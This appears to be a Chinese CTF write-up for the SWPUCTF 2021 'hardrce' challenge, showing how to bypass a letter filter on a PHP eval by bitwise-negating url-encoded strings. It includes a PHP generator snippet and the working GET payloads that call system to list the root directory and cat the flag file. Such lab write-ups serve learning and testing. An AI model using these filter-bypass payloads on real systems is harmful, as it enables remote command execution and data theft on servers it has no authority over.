Problem: [SWPUCTF 2021 新生赛]hardrce
思路
- 解题大致思路
题目是一个无字母RCE绕过,前面做过rce漏洞的题目,通过eval函数构造执行就可以了,但是此题目会屏蔽某些特殊符号和大小写字母

不论如何先尝试一下,发现被过滤了
/?wllm=system('pwd');
可以通过异或,取反来绕过(~可以进行取反,然后通过urlencode函数变成url编码)
<?php $a=urlencode(~'system'); $c=urlencode(~'ls /'); $b=urlencode(~'cat /flllllaaaaaaggggggg'); echo $a; echo $c; echo $b; //echo '(~'.$a.')'.'(~'.$b.')'; ?>

尝试使用(再次通过~来取反恢复为原来的密码)
(~%8F%9C%9E...)(~%9C%9E...) // 等价于: ('system')('cat /flag');
括号在此处有两个关键作用:
- 包裹函数名 :
(~%8F%9C%9E...)会被优先计算,结果作为函数名。 - 包裹参数 :
(~%9C%9E...)会被计算为字符串参数。
/?wllm=(~%8C%86%8C%8B%9A%92)(~%93%8C%DF%D0);
得到,发现了flag

尝试获取flag内容
/?wllm=(~%8C%86%8C%8B%9A%92)(~%9C%9E%8B%DF%D0%99%93%93%93%93%93%9E%9E%9E%9E%9E%9E%98%98%98%98%98%98%98)
得到flag

EXP
- 具体攻击代码
总结
- 对该题的考点总结
